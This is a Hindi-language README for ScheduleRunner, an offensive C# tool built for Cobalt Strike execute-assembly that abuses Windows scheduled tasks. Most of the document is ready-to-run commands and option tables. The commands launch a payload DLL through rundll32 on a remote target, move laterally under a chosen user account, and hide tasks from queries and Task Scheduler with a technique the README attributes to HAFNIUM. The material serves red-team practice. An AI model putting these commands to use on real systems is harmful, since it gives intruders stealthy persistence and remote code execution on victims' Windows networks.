
एक C# टूल जो लाल टीम संचालन में दृढ़ता और पार्श्व गति दोनों के लिए अनुसूचित कार्य को अनुकूलित करने में अधिक लचीलापन प्रदान करता है
शेड्यूल किया गया कार्य पिछले दशक में सबसे लोकप्रिय हमला तकनीकों में से एक है और अब भी यह हैकर्स/रेड टीमर्स द्वारा दृढ़ता और पार्श्व आंदोलन के लिए सामान्यतः उपयोग किया जाता है।
शेड्यूल किए गए कार्य का उपयोग करके हमले का अनुकरण करने के लिए पहले से ही कई C# टूल विकसित किए गए हैं। मैं उनमें से कुछ के साथ खेल रहा हूँ लेकिन उनमें से प्रत्येक की शेड्यूल किए गए कार्य को अनुकूलित करने पर अपनी सीमाएँ हैं। इसलिए, इस परियोजना का उद्देश्य एक C# टूल (CobaltStrike execute-assembly अनुकूल) प्रदान करना है जिसमें मुझे आवश्यक सुविधाएँ शामिल हों और शेड्यूल किए गए कार्य को अनुकूलित करने के लिए पर्याप्त लचीलापन प्रदान करे।

| विधि | कार्य |
|---|---|
| create | एक नया शेड्यूल किया गया कार्य बनाएँ |
| delete | किसी मौजूदा शेड्यूल किए गए कार्य को हटाएँ |
| run | किसी मौजूदा शेड्यूल किए गए कार्य को निष्पादित करें |
| query | किसी शेड्यूल किए गए कार्य या किसी फ़ोल्डर के अंतर्गत सभी शेड्यूल किए गए कार्यों के विवरण की क्वेरी करें |
| queryfolders | शेड्यूल किए गए कार्य में सभी उप-फ़ोल्डरों की क्वेरी करें |
| move | शेड्यूल किए गए कार्य का उपयोग करके पार्श्व आंदोलन करें (स्वचालित रूप से बनाएँ, चलाएँ और हटाएँ) |
[*] अनिवार्य फ़ील्ड हैं।
[*] अनिवार्य फ़ील्ड हैं।
| विधि | कार्य |
|---|---|
| [*] /taskname | शेड्यूल किए गए कार्य का नाम निर्दिष्ट करें |
| /folder | वह फ़ोल्डर निर्दिष्ट करें जहाँ शेड्यूल किया गया कार्य संग्रहीत होता है (डिफ़ॉल्ट: \) |
| /remoteserver | रिमोट कंप्यूटर का होस्टनाम या IP पता निर्दिष्ट करें |
[*] अनिवार्य फ़ील्ड हैं।
| विधि | कार्य |
|---|---|
| /taskname | शेड्यूल किए गए कार्य का नाम निर्दिष्ट करें |
| /folder | वह फ़ोल्डर निर्दिष्ट करें जहाँ शेड्यूल किया गया कार्य संग्रहीत होता है (डिफ़ॉल्ट: \) |
| /remoteserver | रिमोट कंप्यूटर का होस्टनाम या IP पता निर्दिष्ट करें |
[*] अनिवार्य फ़ील्ड हैं।
[*] अनिवार्य फ़ील्ड हैं।
"Cleanup" नामक एक शेड्यूल किया गया कार्य बनाएँ जो प्रतिदिन रात 11:30 बजे निष्पादित होगा
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010
"Cleanup" नामक एक शेड्यूल किया गया कार्य बनाएँ जो रिमोट सर्वर पर हर 4 घंटे में निष्पादित होगा
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01
"Cleanup" नामक एक शेड्यूल किए गए कार्य को हटाएँ
ScheduleRunner.exe /method:delete /taskname:Cleanup
"Cleanup" नामक एक शेड्यूल किए गए कार्य को निष्पादित करें
ScheduleRunner.exe /method:run /taskname:Cleanup
रिमोट सर्वर पर "\Microsoft\Windows\CertificateServicesClient" फ़ोल्डर के अंतर्गत "Cleanup" नामक एक शेड्यूल किए गए कार्य के विवरण की क्वेरी करें
ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
रिमोट सर्वर पर एक विशिष्ट फ़ोल्डर "\Microsoft\Windows\CertificateServicesClient" के अंतर्गत सभी शेड्यूल किए गए कार्यों की क्वेरी करें
ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
शेड्यूल किए गए कार्य में सभी उप-फ़ोल्डरों की क्वेरी करें
ScheduleRunner.exe /method:queryfolders
एक विशिष्ट उपयोगकर्ता खाते का उपयोग करके रिमोट सर्वर पर शेड्यूल किए गए कार्य का उपयोग करके पार्श्व आंदोलन करें
ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010
शेड्यूल किए गए कार्य को छिपाने की तकनीक का उपयोग करके "Cleanup" नामक एक शेड्यूल किया गया कार्य बनाएँ:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide
"Cleanup" नामक एक शेड्यूल किए गए कार्य को हटाएँ जिसने शेड्यूल किए गए कार्य को छिपाने की तकनीक का उपयोग किया था:
ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide
यह तकनीक खतरे वाले अभिनेता - HAFNIUM द्वारा उपयोग की गई थी और हाल ही में Microsoft द्वारा खोजी गई। इसका उद्देश्य शेड्यूल किए गए कार्य को उपकरणों द्वारा क्वेरी करने योग्य और टास्क शेड्यूलर द्वारा देखने योग्य नहीं बनाना है।
इस तकनीक का उपयोग करने के लिए, आपके पास "NT AUTHORITY/SYSTEM" होना आवश्यक है और ScheduleRunner आपके लिए निम्नलिखित कार्य करेगा:
इस तकनीक का उपयोग करके बनाए गए शेड्यूल किए गए कार्य को हटाने के लिए, इसे ठीक से हटाने के लिए विलोपन विधि में "/technique:hide" जोड़ना आवश्यक है।
कार्य रजिस्ट्री के माध्यम से हटाए जाने पर भी अगले सिस्टम रीबूट तक चलता रहेगा। इसलिए, अपने संचालन के लिए सर्वर में इस तकनीक का उपयोग न करना बेहतर है।

| लाइब्रेरी | लिंक |
|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler |
| संदर्भ | लिंक |
|---|---|
| SharpPersist | https://github.com/mandiant/SharPersist |
| शेड्यूल किए गए कार्य को छिपाने की तकनीक | https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ |
| विधि | कार्य |
|---|
| [*] /taskname | शेड्यूल किए गए कार्य का नाम निर्दिष्ट करें |
| [*] /program | वह प्रोग्राम निर्दिष्ट करें जो कार्य चलाता है |
| [*] /trigger | शेड्यूल प्रकार निर्दिष्ट करें। वैध मानों में शामिल हैं: "minute", "hourly", "daily", "weekly", "onstart", "onlogon", और "onidle" |
| /modifier | निर्दिष्ट करें कि कार्य अपने शेड्यूल प्रकार के भीतर कितनी बार चलता है। केवल ऐसे शेड्यूल प्रकारों के लिए लागू जैसे "minute" (जैसे, 1-1439 मिनट), "hourly" (जैसे, 1-23 घंटे) और "weekly" (जैसे, mon,sat,sun) |
| /starttime | दैनिक शेड्यूल प्रकार के लिए प्रारंभ समय निर्दिष्ट करें (जैसे, 23:30) |
| /argument | प्रोग्राम के लिए कमांड लाइन तर्क निर्दिष्ट करें |
| /folder | वह फ़ोल्डर निर्दिष्ट करें जहाँ शेड्यूल किया गया कार्य संग्रहीत होता है (डिफ़ॉल्ट: \) |
| /workingdir | वह कार्यशील निर्देशिका निर्दिष्ट करें जिसमें शेड्यूल किया गया कार्य निष्पादित किया जाएगा |
| /author | शेड्यूल किए गए कार्य का लेखक निर्दिष्ट करें |
| /description | शेड्यूल किए गए कार्य के लिए विवरण निर्दिष्ट करें |
| /remoteserver | रिमोट कंप्यूटर का होस्टनाम या IP पता निर्दिष्ट करें |
| /user | निर्दिष्ट उपयोगकर्ता खाते के साथ कार्य चलाएँ |
| /technique | चोरी तकनीक निर्दिष्ट करें: - "hide": HAFNIUM मैलवेयर द्वारा उपयोग की जाने वाली एक तकनीक जो शेड्यूल किए गए कार्य को कार्य क्वेरी से छिपाएगी [!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ [!] यह तकनीक रिमोट रजिस्ट्री के विशेषाधिकार के कारण रिमोट निष्पादन का समर्थन नहीं करती है। इसके लिए "NT AUTHORITY\SYSTEM" की आवश्यकता होती है और कार्य हटाने के बाद भी सिस्टम रीबूट होने तक चलता रहेगा |
| विधि | कार्य |
|---|
| [*] /taskname | शेड्यूल किए गए कार्य का नाम निर्दिष्ट करें |
| /folder | वह फ़ोल्डर निर्दिष्ट करें जहाँ शेड्यूल किया गया कार्य संग्रहीत होता है (डिफ़ॉल्ट: \) |
| /remoteserver | रिमोट कंप्यूटर का होस्टनाम या IP पता निर्दिष्ट करें |
| /technique | निर्दिष्ट करें जब शेड्यूल किया गया कार्य चोरी तकनीक का उपयोग करके बनाया गया था: - "hide": उस शेड्यूल किए गए कार्य को हटाएँ जिसने "hiding scheduled task" तकनीक का उपयोग किया है [!] विलोपन के लिए "NT AUTHORITY\SYSTEM" की आवश्यकता होती है और कार्य हटाने के बाद भी सिस्टम रीबूट होने तक चलता रहेगा |
| विधि | कार्य |
|---|
| [*] /taskname | शेड्यूल किए गए कार्य का नाम निर्दिष्ट करें |
| [*] /program | वह प्रोग्राम निर्दिष्ट करें जो कार्य चलाता है |
| [*] /remoteserver | रिमोट कंप्यूटर का होस्टनाम या IP पता निर्दिष्ट करें |
| /trigger | शेड्यूल प्रकार निर्दिष्ट करें। वैध मानों में शामिल हैं: "minute", "hourly", "daily", "weekly", "onstart", "onlogon", और "onidle" |
| /modifier | निर्दिष्ट करें कि कार्य अपने शेड्यूल प्रकार के भीतर कितनी बार चलता है। केवल ऐसे शेड्यूल प्रकारों के लिए लागू जैसे "minute" (जैसे, 1-1439 मिनट), "hourly" (जैसे, 1-23 घंटे) और "weekly" (जैसे, mon,sat,sun) |
| /starttime | दैनिक शेड्यूल प्रकार के लिए प्रारंभ समय निर्दिष्ट करें (जैसे, 23:30) |
| /argument | प्रोग्राम के लिए कमांड लाइन तर्क निर्दिष्ट करें |
| /folder | वह फ़ोल्डर निर्दिष्ट करें जहाँ शेड्यूल किया गया कार्य संग्रहीत होता है (डिफ़ॉल्ट: \) |
| /workingdir | वह कार्यशील निर्देशिका निर्दिष्ट करें जिसमें शेड्यूल किया गया कार्य निष्पादित किया जाएगा |
| /author | शेड्यूल किए गए कार्य का लेखक निर्दिष्ट करें |
| /description | शेड्यूल किए गए कार्य के लिए विवरण निर्दिष्ट करें |
| /user | निर्दिष्ट उपयोगकर्ता खाते के साथ कार्य चलाएँ |